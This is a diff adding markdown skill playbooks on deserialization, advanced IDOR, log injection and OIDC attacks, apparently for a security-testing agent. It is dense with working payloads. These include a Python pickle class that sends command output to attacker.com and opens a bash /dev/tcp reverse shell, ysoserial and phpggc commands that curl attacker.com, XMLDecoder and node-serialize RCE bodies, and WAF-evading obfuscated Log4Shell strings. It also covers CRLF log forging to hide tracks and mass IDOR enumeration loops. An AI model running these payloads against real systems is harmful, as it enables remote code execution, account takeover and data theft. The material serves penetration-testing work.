# JRMPClient → Java RMI
|
||||
|
||||
# Encoding for HTTP:
|
||||
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com' | base64 -w0
|
||||
|
||||
# For blind detection (DNS OAST):
|
||||
java -jar ysoserial.jar CommonsCollections1 'nslookup attacker.com' | base64 -w0
|
||||
```
|
||||
|
||||
### Apache Shiro (CVE-2016-4437 and related)
|
||||
|
||||
```
|
||||
# Shiro uses CBC+PKCS5 padding with hardcoded key "kPH+bIxk5D2deZiIxcaaaA=="
|
||||
# Default key allows forging any cookie value
|
||||
|
||||
# Tool: shiro-exploit
|
||||
python3 shiro-exploit.py -u https://target.com -k kPH+bIxk5D2deZiIxcaaaA== -c 'id'
|
||||
|
||||
# Detection: rememberMe=X in cookie, "deleteMe" in Set-Cookie response = deserialization attempt
|
||||
curl -H "Cookie: rememberMe=x" https://target.com -v | grep -i "set-cookie: rememberMe=deleteMe"
|
||||
|
||||
# Common keys to test:
|
||||
# kPH+bIxk5D2deZiIxcaaaA==
|
||||
# 2AvVhdsgUs0FSA3SDFAdag==
|
||||
# r0e3c16IdVkouznQqEm5UA==
|
||||
```
|
||||
|
||||
### WebLogic (CVE-2019-2725, 2020-2555, etc.)
|
||||
|
||||
```
|
||||
# T3 protocol deserialization
|
||||
# Endpoint: :7001 (T3), :8001 (admin), :4848
|
||||
|
||||
# Detection:
|
||||
nmap --script weblogic-t3-info -p 7001 target.com
|
||||
|
||||
# Tool: weblogic-framework
|
||||
java -jar weblogic-framework.jar -ip target -port 7001 -cmd "id"
|
||||
```
|
||||
|
||||
### XMLDecoder (CVE-2017-10271 / WebLogic XMLDECODER)
|
||||
|
||||
```xml
|
||||
# Payload in POST body:
|
||||
<java version="1.4.0" class="java.beans.XMLDecoder">
|
||||
<object class="java.lang.Runtime" method="exec">
|
||||
<array class="java.lang.String" length="3">
|
||||
<void index="0"><string>/bin/bash</string></void>
|
||||
<void index="1"><string>-c</string></void>
|
||||
<void index="2"><string>id>/tmp/x</string></void>
|
||||
</array>
|
||||
</object>
|
||||
</java>
|
||||
```
|
||||
|
||||
## PHP Object Injection
|
||||
|
||||
### Detection
|
||||
|
||||
```php
|
||||
// Vulnerable code pattern:
|
||||
$data = unserialize($_COOKIE['user']);
|
||||
$obj = unserialize(base64_decode($_GET['data']));
|
||||
$cache = unserialize(file_get_contents('cache.php'));
|
||||
```
|
||||
|
||||
### PHP Serialization Format
|
||||
|
||||
```php
|
||||
// Integer: i:1337;
|
||||
// String: s:4:"test";
|
||||
// Boolean: b:1;
|
||||
// Null: N;
|
||||
// Array: a:2:{i:0;s:1:"a";i:1;s:1:"b";}
|
||||
// Object: O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}
|
||||
|
||||
// Craft admin object:
|
||||
O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}
|
||||
// base64: TzQ6IlVzZXIiOjI6e3M6NDoibmFtZSI7czo1OiJhZG1pbiI7czo1OiJhZG1pbiI7YjoxO30=
|
||||
```
|
||||
|
||||
### PHP Magic Methods (Gadget Entry Points)
|
||||
|
||||
```php
|
||||
__wakeup() → called on unserialize
|
||||
__destruct() → called on object destruction
|
||||
__toString() → called on string conversion
|
||||
__call() → called on undefined method
|
||||
__get() → called on undefined property
|
||||
__invoke() → called when object used as function
|
||||
```
|
||||
|
||||
### Tool: phpggc
|
||||
|
||||
```bash
|
||||
# Generate PHP gadget chains
|
||||
phpggc Laravel/RCE1 system id
|
||||
phpggc Symfony/RCE4 exec id
|
||||
phpggc Magento/RCE3 exec id
|
||||
phpggc WordPress/RCE1 exec 'curl http://attacker.com'
|
||||
phpggc Yii/RCE1 system 'curl http://attacker.com'
|
||||
|
||||
# List available chains
|
||||
phpggc -l
|
||||
|
||||
# Output formats
|
||||
phpggc -b Laravel/RCE1 system id # base64
|
||||
phpggc --url-encode Laravel/RCE1 system id # URL encoded
|
||||
```
|
||||
|
||||
## Python Pickle
|
||||
|
||||
### RCE Payload
|
||||
|
||||
```python
|
||||
import pickle, os, base64
|
||||
|
||||
class Exploit(object):
|
||||
def __reduce__(self):
|
||||
return (os.system, ('curl http://attacker.com/?x=$(id|base64)',))
|
||||
|
||||
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
|
||||
print(payload)
|
||||
|
||||
# Or with more complex command:
|
||||
class RCE:
|
||||
def __reduce__(self):
|
||||
cmd = 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
|
||||
return (os.system, (cmd,))
|
||||
```
|
||||
|
||||
### Detection
|
||||
|
||||
```
|
||||
# Python pickle data starts with bytes:
|
||||
b'\x80\x04' or b'\x80\x02' (pickle protocol 4 or 2)
|
||||
# Base64: gASV... or gAJ...
|
||||
|
||||
# Endpoints:
|
||||
# Flask sessions (if using non-JSON serialization)
|
||||
# Custom caching mechanisms
|
||||
# ML model loading (PyTorch .pt, sklearn pickle)
|
||||
# Celery task queues
|
||||
```
|
||||
|
||||
## .NET ViewState
|
||||
|
||||
```bash
|
||||
# ViewState without MAC validation → object injection
|
||||
# With known MAC key → forge ViewState
|
||||
|
||||
# Tool: ysoserial.net
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --path="/page.aspx" --apppath="/"
|
||||
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "cmd /c whoami"
|
||||
|
||||
# Detection:
|
||||
# __VIEWSTATE parameter in ASP.NET forms
|
||||
# Check if MAC validation enabled: try modifying ViewState → if accepted → no validation
|
||||
|
||||
# Also test:
|
||||
# __EVENTTARGET
|
||||
# __EVENTVALIDATION
|
||||
# LosFormatter cookies
|
||||
```
|
||||
|
||||
## Node.js Deserialization
|
||||
|
||||
```javascript
|
||||
// Unsafe unserialize with node-serialize:
|
||||
var serialize = require('node-serialize');
|
||||
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr){ console.log(stdout) });}()"}';
|
||||
serialize.unserialize(payload);
|
||||
|
||||
// Detection: JSON with _$$ND_FUNC$$_ prefix
|
||||
// Cookie values starting with: {"...":"_$$ND_FUNC$$_function()
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Find serialized data** — Magic bytes, base64 blobs in cookies/params/headers/body
|
||||
2. **Identify platform** — Java (rO0A), PHP (O:4:), Python (gAS), .NET (AAEAAAD)
|
||||
3. **Test with gadget generator** — ysoserial/phpggc/pickle for known chains
|
||||
4. **OAST first** — DNS callback to confirm deserialization without RCE risk
|
||||
5. **Test all transport paths** — Cookie, GET params, POST body, custom headers, WebSockets
|
||||
6. **Check for weak/default keys** — Shiro, Spring, .NET MachineKey
|
||||
|
||||
## Validation
|
||||
|
||||
1. Use OAST DNS callback as first proof (least disruptive)
|
||||
2. Then progress to `id`/`whoami` via HTTP callback
|
||||
3. Show the exact parameter/cookie where payload was injected
|
||||
4. Identify which gadget chain was used and which library version required
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. `rO0AB` in any cookie = Java serialization = test all ysoserial chains
|
||||
2. Shiro `rememberMe` is still found in production — always test for default key
|
||||
3. phpggc chains work per framework — identify framework version first
|
||||
4. Python ML endpoints loading models may use pickle — test model upload endpoints
|
||||
5. .NET ViewState without MAC is automatic RCE if you can find the right gadget
|
||||
6. Celery, Redis queues, and session stores may contain serialized data
|
||||
7. Always test with DNS OAST first — you get confirmation without triggering a destructive payload
|
||||
|
||||
## Summary
|
||||
|
||||
Deserialization vulnerabilities are high-impact but require knowing the correct gadget chain for the target's library versions. Use magic byte detection to identify the serialization format, then gadget generators for the appropriate platform. Confirm via DNS OAST before escalating to command execution.
|
||||
|
|
@ -0,0 +1,292 @@
|
|||
---
|
||||
name: idor-advanced
|
||||
description: Advanced IDOR techniques — chained IDOR, blind IDOR, indirect references, and mass IDOR exploitation
|
||||
---
|
||||
|
||||
# IDOR (Advanced)
|
||||
|
||||
Expanding on basic IDOR, this covers finding non-obvious object references, chaining IDOR with other vulnerabilities for higher impact, mass enumeration techniques, and IDOR in non-standard contexts (GraphQL, WebSocket, API parameters).
|
||||
|
||||
## Non-Obvious Object References
|
||||
|
||||
### Indirect References
|
||||
|
||||
```
|
||||
# Hash/UUID instead of integer:
|
||||
/api/profile/550e8400-e29b-41d4-a716-446655440000 → victim's UUID
|
||||
|
||||
# Encoded references:
|
||||
/api/file/aGVsbG8ud29yZA== → base64 decoded = hello.doc
|
||||
|
||||
# Custom encoding:
|
||||
/api/order/TXktT3JkZXItMTIzNA== → decode to find predictable ID
|
||||
|
||||
# Hash of user ID:
|
||||
/api/data/md5(user_id) → try MD5 of known IDs
|
||||
|
||||
# Compound keys:
|
||||
/api/message/USER_ID:MESSAGE_ID → change USER_ID
|
||||
```
|
||||
|
||||
### Hidden Parameters
|
||||
|
||||
```
|
||||
# Hidden fields in forms:
|
||||
<input type="hidden" name="user_id" value="123">
|
||||
|
||||
# JavaScript variables:
|
||||
window._userId = 123;
|
||||
var config = {userId: 123, role: "user"};
|
||||
|
||||
# JWT payload:
|
||||
{"sub": "123", "user_id": 123} → modify sub/user_id
|
||||
|
||||
# Cookie values:
|
||||
user=eyJ1c2VyX2lkIjogMTIzfQ== → base64 decode, modify, re-encode
|
||||
```
|
||||
|
||||
### IDOR in Request Body
|
||||
|
||||
```json
|
||||
# Standard JSON body:
|
||||
{"user_id": 123, "action": "view_profile"}
|
||||
|
||||
# Nested objects:
|
||||
{"data": {"owner": {"id": 123}}}
|
||||
|
||||
# Arrays:
|
||||
{"user_ids": [123, 456]} → replace own ID with victim's
|
||||
|
||||
# GraphQL variables:
|
||||
{"query": "mutation { ... }", "variables": {"userId": 123}}
|
||||
```
|
||||
|
||||
### IDOR in Unusual Locations
|
||||
|
||||
```
|
||||
# Request headers:
|
||||
X-User-ID: 123
|
||||
X-Account-ID: 456
|
||||
X-Resource-ID: 789
|
||||
|
||||
# WebSocket messages:
|
||||
{"type": "subscribe", "channel": "user-123-notifications"}
|
||||
|
||||
# URL path vs body mismatch:
|
||||
PUT /api/users/123/profile
|
||||
{"user_id": 456, "email": "newemail@x.com"}
|
||||
# Does server use URL param (123) or body param (456)?
|
||||
|
||||
# File paths:
|
||||
/download?file=/users/123/report.pdf → change 123
|
||||
/api/export?userId=123
|
||||
```
|
||||
|
||||
## IDOR Patterns in APIs
|
||||
|
||||
### REST API Patterns
|
||||
|
||||
```
|
||||
# Standard CRUD:
|
||||
GET /api/v1/users/{id}
|
||||
PUT /api/v1/users/{id}
|
||||
DELETE /api/v1/users/{id}
|
||||
PATCH /api/v1/users/{id}/settings
|
||||
|
||||
# Relationship endpoints:
|
||||
GET /api/v1/users/{user_id}/posts
|
||||
GET /api/v1/users/{user_id}/orders/{order_id}
|
||||
|
||||
# Action endpoints:
|
||||
POST /api/v1/users/{id}/impersonate
|
||||
POST /api/v1/accounts/{id}/transfer
|
||||
GET /api/v1/users/{id}/export
|
||||
|
||||
# Admin endpoints with user ID:
|
||||
GET /api/v1/admin/users/{id}/sessions
|
||||
```
|
||||
|
||||
### State-Based IDOR
|
||||
|
||||
```
|
||||
# Object ID may be valid but in wrong state:
|
||||
# Your draft order ID vs submitted order ID
|
||||
# Your pending payment vs completed payment
|
||||
|
||||
# Test: access object IDs from a different state than your own
|
||||
# E.g.: use your own completed order ID → try pending order endpoints
|
||||
```
|
||||
|
||||
## Chained IDOR Attacks
|
||||
|
||||
### IDOR → ATO Chain
|
||||
|
||||
```
|
||||
1. IDOR on email-change endpoint:
|
||||
PUT /api/users/VICTIM_ID/email {"email": "attacker@evil.com"}
|
||||
|
||||
2. Trigger password reset for victim@target.com... wait
|
||||
(email now goes to attacker@evil.com)
|
||||
|
||||
3. Receive reset email → click link → set new password → ATO
|
||||
```
|
||||
|
||||
### IDOR → Privilege Escalation
|
||||
|
||||
```
|
||||
1. IDOR on user update:
|
||||
PUT /api/users/VICTIM_ID {"role": "admin"}
|
||||
→ Can you set your own role?
|
||||
PUT /api/users/OWN_ID {"role": "admin", "isAdmin": true}
|
||||
|
||||
2. If direct privilege change not possible:
|
||||
PUT /api/users/ADMIN_ID/team {"member_id": OWN_ID}
|
||||
→ Add yourself to admin team via IDOR
|
||||
```
|
||||
|
||||
### IDOR → Data Exfiltration
|
||||
|
||||
```
|
||||
# Mass enumeration of users:
|
||||
for i in {1..10000}; do
|
||||
curl -H "Authorization: Bearer TOKEN" \
|
||||
https://target.com/api/users/$i | jq .email >> emails.txt
|
||||
done
|
||||
|
||||
# Parallel enumeration (faster):
|
||||
seq 1 10000 | xargs -P 50 -I{} curl -s \
|
||||
-H "Authorization: Bearer TOKEN" \
|
||||
"https://target.com/api/users/{}" >> /tmp/users.json
|
||||
```
|
||||
|
||||
## Blind IDOR
|
||||
|
||||
### Detection Without Reflected Data
|
||||
|
||||
```
|
||||
# Server returns only success/failure — no data:
|
||||
DELETE /api/posts/123
|
||||
→ {"success": true} # vs 404/403 for others
|
||||
|
||||
# Action IDOR:
|
||||
POST /api/messages/123/read → marks as read → victim notification disappears
|
||||
POST /api/subscriptions/123/cancel → victim's subscription cancelled
|
||||
|
||||
# Timing-based:
|
||||
# Response time difference between valid/invalid IDs
|
||||
```
|
||||
|
||||
### Side-Channel IDOR
|
||||
|
||||
```
|
||||
# Error message differences:
|
||||
/api/files/123 → "Access denied" (file exists, just not yours)
|
||||
/api/files/999 → "Not found" (doesn't exist)
|
||||
→ Confirms ID 123 belongs to another user
|
||||
|
||||
# Response size differences:
|
||||
# Different status codes (403 vs 404) reveal existence
|
||||
```
|
||||
|
||||
## Mass IDOR Testing
|
||||
|
||||
### Enumeration Strategies
|
||||
|
||||
```bash
|
||||
# Sequential IDs:
|
||||
seq 1 1000 | xargs -P 20 -I{} \
|
||||
curl -s -o /dev/null -w "%{http_code} {}\n" \
|
||||
-H "Cookie: session=TOKEN" \
|
||||
"https://target.com/api/orders/{}"
|
||||
|
||||
# UUID enumeration (if predictable):
|
||||
# UUIDs v1 are time-based → predictable range
|
||||
python3 -c "import uuid; [print(uuid.uuid1()) for _ in range(100)]"
|
||||
|
||||
# IDOR in batch endpoints:
|
||||
POST /api/users/batch {"ids": [1,2,3,4,5,6,7,8,9,10]}
|
||||
→ Returns all users' data
|
||||
|
||||
# GraphQL aliases (parallel IDOR):
|
||||
query {
|
||||
u1: user(id: "1") { email, phone }
|
||||
u2: user(id: "2") { email, phone }
|
||||
u3: user(id: "3") { email, phone }
|
||||
}
|
||||
```
|
||||
|
||||
### Identifying ID Ranges
|
||||
|
||||
```
|
||||
# Check your own account ID from:
|
||||
- API responses
|
||||
- URL paths after login
|
||||
- JWT payload
|
||||
- Profile page source
|
||||
|
||||
# Then test adjacent IDs ±N
|
||||
# And test ID 1, 2, 3 (admin accounts often have low IDs)
|
||||
```
|
||||
|
||||
## IDOR in File Operations
|
||||
|
||||
```
|
||||
# File download:
|
||||
/api/download?file_id=123&path=uploads/user_123/report.pdf
|
||||
|
||||
# Modify path (path traversal + IDOR):
|
||||
/api/download?file_id=456&path=uploads/user_456/private.pdf
|
||||
|
||||
# Direct file access by name:
|
||||
/uploads/user_123/contract.pdf → /uploads/user_456/contract.pdf
|
||||
|
||||
# Backup file access:
|
||||
/api/export/user/123.json → /api/export/user/456.json
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Enumerate all object references** — IDs in URLs, bodies, headers, cookies, JS
|
||||
2. **Create two accounts** — Account A (attacker) and Account B (victim)
|
||||
3. **Map all endpoints with IDs** — Every GET/PUT/PATCH/DELETE with resource IDs
|
||||
4. **Test cross-account access** — Use Account A's token with Account B's IDs
|
||||
5. **Test vertical IDOR** — Use low-priv token with high-priv IDs (admin user IDs)
|
||||
6. **Check state variations** — Test IDs in different states
|
||||
7. **Test write operations** — Modify/delete other users' resources
|
||||
8. **Test action endpoints** — Email change, delete account, export data with other users' IDs
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate accessing another user's private data with your own authentication token
|
||||
2. Show the specific endpoint, request, and response with victim data
|
||||
3. For write IDOR: show modification of another user's resource
|
||||
4. For delete IDOR: show deletion (only in authorized test environment)
|
||||
|
||||
## False Positives
|
||||
|
||||
- Intentional public data (public profiles, public posts)
|
||||
- Object belongs to both users (shared resources, team resources)
|
||||
- Response doesn't actually contain the other user's data
|
||||
- Rate limiting that prevents meaningful enumeration
|
||||
|
||||
## Impact
|
||||
|
||||
- Mass data exfiltration of all user PII
|
||||
- Account takeover via email change + password reset
|
||||
- Financial impact: access to orders, payments, subscription data
|
||||
- Reputation damage: unauthorized access to private user content
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always test WRITE operations (PUT/PATCH/DELETE) — often more severe and missed
|
||||
2. Check if response differs between "unauthorized" (403) and "not found" (404) → confirms ID exists
|
||||
3. ID format often reveals the backend: sequential = likely DB auto-increment, UUID = randomized
|
||||
4. Admin panels often have IDOR on user management endpoints even when APIs are protected
|
||||
5. Email change IDOR → password reset = P1 ATO without social engineering
|
||||
6. Test the `/me` endpoint vs `/users/{own_id}` — different code paths, different auth checks
|
||||
7. Response must contain victim-specific data to be exploitable — just returning 200 is insufficient
|
||||
8. Batch APIs are goldmines — `POST /api/batch` with a list of IDs often returns all requested resources
|
||||
|
||||
## Summary
|
||||
|
||||
IDOR is found by systematically replacing your IDs with others' IDs across all endpoints, especially write operations. The highest value is IDOR on email-change, delete-account, or financial endpoints that enable ATO or data loss. Always create two test accounts and use one's token to access the other's resources.
|
||||
157
strix/skills/vulnerabilities/log_injection.md
Normal file
157
strix/skills/vulnerabilities/log_injection.md
Normal file
|
|
@ -0,0 +1,157 @@
|
|||
---
|
||||
name: log-injection
|
||||
description: Log injection and log forging attacks including Log4Shell, CRLF log injection, and monitoring system bypass
|
||||
---
|
||||
|
||||
# Log Injection
|
||||
|
||||
Log injection allows attackers to insert fake log entries, forge audit trails, exfiltrate data through logging channels, or exploit vulnerable logging frameworks. Log4Shell (CVE-2021-44228) demonstrated that logging sinks can be RCE vectors via JNDI lookups.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Log Types**
|
||||
- Application logs (access, error, debug, audit)
|
||||
- Server logs (Apache/Nginx access logs)
|
||||
- Authentication/security logs
|
||||
- SIEM/monitoring system ingestion
|
||||
- Cloud logging (CloudWatch, Stackdriver, Azure Monitor)
|
||||
- Centralized log management (ELK, Splunk, Graylog)
|
||||
|
||||
**Injection Points**
|
||||
- HTTP headers: User-Agent, Referer, X-Forwarded-For, Host
|
||||
- URL path and query parameters
|
||||
- POST body fields
|
||||
- Authentication inputs (username, password)
|
||||
- Cookie values
|
||||
- Custom headers logged by application
|
||||
|
||||
## Log4Shell (CVE-2021-44228)
|
||||
|
||||
The most critical log injection: Java Log4j 2.x executes JNDI lookups in logged strings.
|
||||
|
||||
### Detection Payloads
|
||||
|
||||
```
|
||||
# Basic JNDI LDAP
|
||||
${jndi:ldap://BURP_COLLABORATOR/a}
|
||||
${jndi:ldap://attacker.com/a}
|
||||
|
||||
# DNS-only (safer confirmation)
|
||||
${jndi:dns://attacker.com/log4shell}
|
||||
|
||||
# Obfuscated variants (bypass WAF/filters)
|
||||
${${lower:j}ndi:${lower:l}dap://attacker.com/a}
|
||||
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a}
|
||||
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//attacker.com/a}
|
||||
${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a}
|
||||
${j${::-n}di:ldap://attacker.com/a}
|
||||
${j${lower:n}di:ldap://attacker.com/a}
|
||||
${${upper:j}ndi:ldap://attacker.com/a}
|
||||
${${::-J}${::-N}${::-D}${::-I}:${::-L}${::-D}${::-A}${::-P}://attacker.com/a}
|
||||
|
||||
# Alternative protocols
|
||||
${jndi:rmi://attacker.com/a}
|
||||
${jndi:ldaps://attacker.com/a}
|
||||
${jndi:iiop://attacker.com/a}
|
||||
${jndi:corba://attacker.com/a}
|
||||
${jndi:dns://attacker.com/a}
|
||||
|
||||
# In HTTP headers
|
||||
User-Agent: ${jndi:ldap://attacker.com/a}
|
||||
X-Forwarded-For: ${jndi:ldap://attacker.com/a}
|
||||
Referer: ${jndi:ldap://attacker.com/a}
|
||||
Authorization: Bearer ${jndi:ldap://attacker.com/a}
|
||||
X-Api-Version: ${jndi:ldap://attacker.com/a}
|
||||
```
|
||||
|
||||
### Affected Versions
|
||||
- Log4j 2.0-beta9 to 2.14.1 (original Log4Shell)
|
||||
- Log4j 2.15.0 (partial fix, CVE-2021-45046)
|
||||
- Log4j 2.16.0 (disables JNDI by default)
|
||||
- Log4j 2.17.0 (fixes DoS CVE-2021-45105)
|
||||
- **Fixed**: 2.17.1 (Java 8), 2.12.4 (Java 7), 2.3.2 (Java 6)
|
||||
|
||||
## CRLF Log Injection
|
||||
|
||||
Insert newlines to create fake log entries:
|
||||
|
||||
```
|
||||
# Basic
|
||||
GET /%0d%0a127.0.0.1 - admin [01/Jan/2024] "GET /admin HTTP/1.1" 200 0
|
||||
# Creates fake log: 127.0.0.1 - admin accessed /admin
|
||||
|
||||
# More complex forging
|
||||
X-Forwarded-For: 1.2.3.4%0d%0a10.0.0.1 - admin - [01/Jan/2024:00:00:00] "GET /secret HTTP/1.1" 200
|
||||
|
||||
# Forge audit entries
|
||||
Username: john%0A2024-01-01 00:00:00 INFO [AUTH] User admin logged in successfully
|
||||
```
|
||||
|
||||
## Log Injection for Data Exfiltration
|
||||
|
||||
When logs are forwarded to monitoring systems:
|
||||
|
||||
```
|
||||
# Inject log events that exfiltrate data
|
||||
# If log processor evaluates expressions (Splunk SPL, ELK painless scripts):
|
||||
User-Agent: ') | eval x=exec("id") | where...
|
||||
|
||||
# LogStash Groovy injection (CVE-2014-8682)
|
||||
# ELK Kibana SSTI via stored log data
|
||||
```
|
||||
|
||||
## Monitoring System Bypass
|
||||
|
||||
```
|
||||
# If security events are triggered by log patterns:
|
||||
# "Failed login" → alert after N times
|
||||
|
||||
# Inject fake successful login to reset counter:
|
||||
Username: admin\n2024-01-01 00:00:00 INFO Login successful for admin
|
||||
|
||||
# Inject fake log to cover tracks:
|
||||
Username: attacker\n[previous malicious log entry removed]
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Test Log4Shell** — Inject `${jndi:dns://COLLABORATOR/a}` in all HTTP headers (User-Agent, Referer, X-Forwarded-For, custom headers) and form fields
|
||||
2. **Test CRLF** — Inject `%0d%0a` in URL params, headers, form fields — check if reflected in server logs or response
|
||||
3. **Identify logging technology** — Error messages, `X-Powered-By`, framework banners revealing Java/Log4j
|
||||
4. **Test all input vectors** — Every field that might be logged: username, search, comments, profile fields
|
||||
5. **Check monitoring** — Does injected log text appear in admin log viewers?
|
||||
|
||||
## Validation
|
||||
|
||||
1. For Log4Shell: OAST DNS/HTTP callback confirming the JNDI lookup was processed
|
||||
2. For CRLF: show the fake log entry was inserted (visible in logs, or response reflects it)
|
||||
3. For RCE via Log4Shell: show `id` or `hostname` output (only if explicitly in scope)
|
||||
|
||||
## False Positives
|
||||
|
||||
- Log4j version ≥ 2.17.1 with JNDI disabled
|
||||
- Input sanitized before logging (newlines stripped)
|
||||
- Logging of raw bytes vs. interpreted strings
|
||||
- JNDI lookups allowed but no outbound network access
|
||||
|
||||
## Impact
|
||||
|
||||
- RCE via Log4Shell on vulnerable Java applications
|
||||
- Audit trail forgery hiding attacker activity
|
||||
- Fake security event injection bypassing alerting
|
||||
- Data exfiltration through logging channels
|
||||
- Log4Shell in monitoring agents: lateral movement to security infrastructure
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Log4Shell in User-Agent is the most commonly missed vector — always test it
|
||||
2. Use interactsh or Burp Collaborator for DNS callbacks to confirm Log4Shell without triggering RCE
|
||||
3. Even patched Log4j may have old instances in Docker containers, microservices, or dependencies
|
||||
4. Check Struts, Spring, VMware, Cisco products — all historically Log4j-dependent
|
||||
5. CRLF injection in log files can falsify compliance evidence — emphasize audit integrity impact
|
||||
6. ELK Stack storing attacker-controlled data + Kibana XSS = stored XSS in security dashboard
|
||||
7. Test search/filter fields in admin panels — these are often logged server-side with raw input
|
||||
|
||||
## Summary
|
||||
|
||||
Log injection ranges from CRLF entry forgery (audit manipulation) to Log4Shell (critical RCE). Test Log4Shell payloads via OAST in all HTTP headers, not just the request body. CRLF injection creates fake log entries that help attackers cover tracks and mislead incident responders.
|
||||
226
strix/skills/vulnerabilities/oidc_attacks.md
Normal file
226
strix/skills/vulnerabilities/oidc_attacks.md
Normal file
|
|
@ -0,0 +1,226 @@
|
|||
---
|
||||
name: oidc-attacks
|
||||
description: OpenID Connect attack techniques — nonce bypass, token leakage, provider confusion, and hybrid flow abuse
|
||||
---
|
||||
|
||||
# OpenID Connect (OIDC) Attacks
|
||||
|
||||
OpenID Connect extends OAuth 2.0 with identity — adding ID tokens (JWTs), UserInfo endpoints, and discovery documents. Its complexity creates attack surface beyond standard OAuth: nonce bypass, ID token confusion, provider switching, and hybrid flow token leakage.
|
||||
|
||||
## OIDC Flow Overview
|
||||
|
||||
```
|
||||
1. Client sends Authorization Request to IdP
|
||||
→ includes: client_id, redirect_uri, scope (openid...), state, nonce, response_type
|
||||
|
||||
2. IdP authenticates user, returns Authorization Response
|
||||
→ includes: code (auth code flow) OR tokens (implicit/hybrid)
|
||||
|
||||
3. Client exchanges code for tokens at /token endpoint
|
||||
→ receives: id_token (JWT), access_token, refresh_token
|
||||
|
||||
4. Client validates id_token (signature, iss, aud, nonce, exp)
|
||||
|
||||
5. Optional: Client calls /userinfo with access_token
|
||||
```
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Nonce Bypass
|
||||
|
||||
Nonce prevents replay of ID tokens. Missing/weak nonce validation = token replay attack:
|
||||
|
||||
```
|
||||
# 1. Obtain a valid ID token from your own session
|
||||
# 2. Replay it in a different session or for a different user
|
||||
|
||||
# Test: log in, capture id_token, log out, replay id_token
|
||||
# If accepted without nonce validation → replay attack
|
||||
|
||||
# Nonce in id_token payload should match nonce sent in auth request
|
||||
# Some apps skip nonce validation entirely
|
||||
```
|
||||
|
||||
### State Parameter Missing/Bypass (CSRF)
|
||||
|
||||
```
|
||||
# state not validated → CSRF on OAuth/OIDC login
|
||||
# 1. Attacker initiates auth flow but doesn't complete it
|
||||
# 2. Captures the ?code=X&state=Y in their callback URL
|
||||
# 3. Tricks victim into visiting that callback URL
|
||||
# 4. Victim's browser exchanges attacker's code → victim logged into attacker's account
|
||||
|
||||
# Test: initiate login, get code, inject that code into victim's browser
|
||||
# state=: try empty state, common values ("abc", "state", "1"), remove it entirely
|
||||
```
|
||||
|
||||
### ID Token Audience Bypass
|
||||
|
||||
```
|
||||
# id_token contains aud (audience) claim
|
||||
# If RP doesn't validate aud, any id_token from the same IdP works for any app
|
||||
|
||||
# Attacker registers their own app with same IdP
|
||||
# Gets id_token from IdP with their app as aud
|
||||
# Submits to target app → target app should reject (wrong aud) but may not
|
||||
|
||||
# Also: aud as array — some parsers use first/last
|
||||
{"aud": ["attacker-app", "target-app"]} # Does target app accept this?
|
||||
```
|
||||
|
||||
### Issuer (iss) Confusion
|
||||
|
||||
```
|
||||
# If multiple IdPs used, check issuer validation
|
||||
# Target accepts tokens from IdP-A and IdP-B
|
||||
# Attacker controls IdP-C (e.g., by registering on a shared IdP)
|
||||
# Crafts token with iss matching target's expected format
|
||||
|
||||
# OpenID Connect provider switcheroo:
|
||||
# If app allows any OIDC provider, attacker creates their own
|
||||
# Issues tokens claiming to be victim@target.com
|
||||
```
|
||||
|
||||
### Hybrid Flow Token Leakage
|
||||
|
||||
Hybrid flow returns tokens in the URL (fragment or query):
|
||||
|
||||
```
|
||||
response_type=code id_token # Hybrid: code + id_token in redirect
|
||||
response_type=token id_token # Implicit: both tokens in redirect
|
||||
|
||||
# Tokens in URL → in browser history, logs, Referer header
|
||||
GET /callback#id_token=eyJXXX&access_token=xxx
|
||||
|
||||
# Test: does app use response_type that returns tokens in URL?
|
||||
# Check: does page load third-party resources (analytics) that receive Referer?
|
||||
```
|
||||
|
||||
### PKCE Bypass (Code Interception)
|
||||
|
||||
```
|
||||
# PKCE protects authorization code from interception
|
||||
# Without PKCE, intercepted code usable by attacker
|
||||
|
||||
# Test: initiate flow without code_challenge
|
||||
# If accepted → PKCE not enforced → code interception possible (mobile apps especially)
|
||||
```
|
||||
|
||||
### UserInfo Endpoint Attacks
|
||||
|
||||
```
|
||||
# /userinfo with access_token
|
||||
GET /oauth2/userinfo
|
||||
Authorization: Bearer ACCESS_TOKEN
|
||||
|
||||
# Test: use another user's access_token (IDOR)
|
||||
# Test: expired access_token still accepted
|
||||
# Test: access_token from different scope grants access to sensitive claims
|
||||
# Test: sub claim manipulation in access_token
|
||||
```
|
||||
|
||||
### Discovery Document Manipulation
|
||||
|
||||
```
|
||||
# /.well-known/openid-configuration exposes endpoints
|
||||
# If app fetches this dynamically and doesn't pin:
|
||||
# SSRF → app fetches attacker-controlled discovery document
|
||||
# → attacker redirects token endpoint to capture tokens
|
||||
|
||||
# Test: can the OIDC provider URL be user-controlled?
|
||||
# SSRF via: ?iss=http://169.254.169.254/...
|
||||
```
|
||||
|
||||
### Token Substitution
|
||||
|
||||
```
|
||||
# App accepts access_token as id_token (or vice versa)
|
||||
# Access tokens are not always JWTs and may not have iss/aud validation
|
||||
# Substitute access_token where id_token is expected
|
||||
```
|
||||
|
||||
### Scope Elevation via OIDC
|
||||
|
||||
```
|
||||
# Request additional scopes that shouldn't be granted
|
||||
openid email profile offline_access admin:read
|
||||
|
||||
# Test: add undocumented/admin scopes to authorization request
|
||||
# Check if consent screen shows scope you requested
|
||||
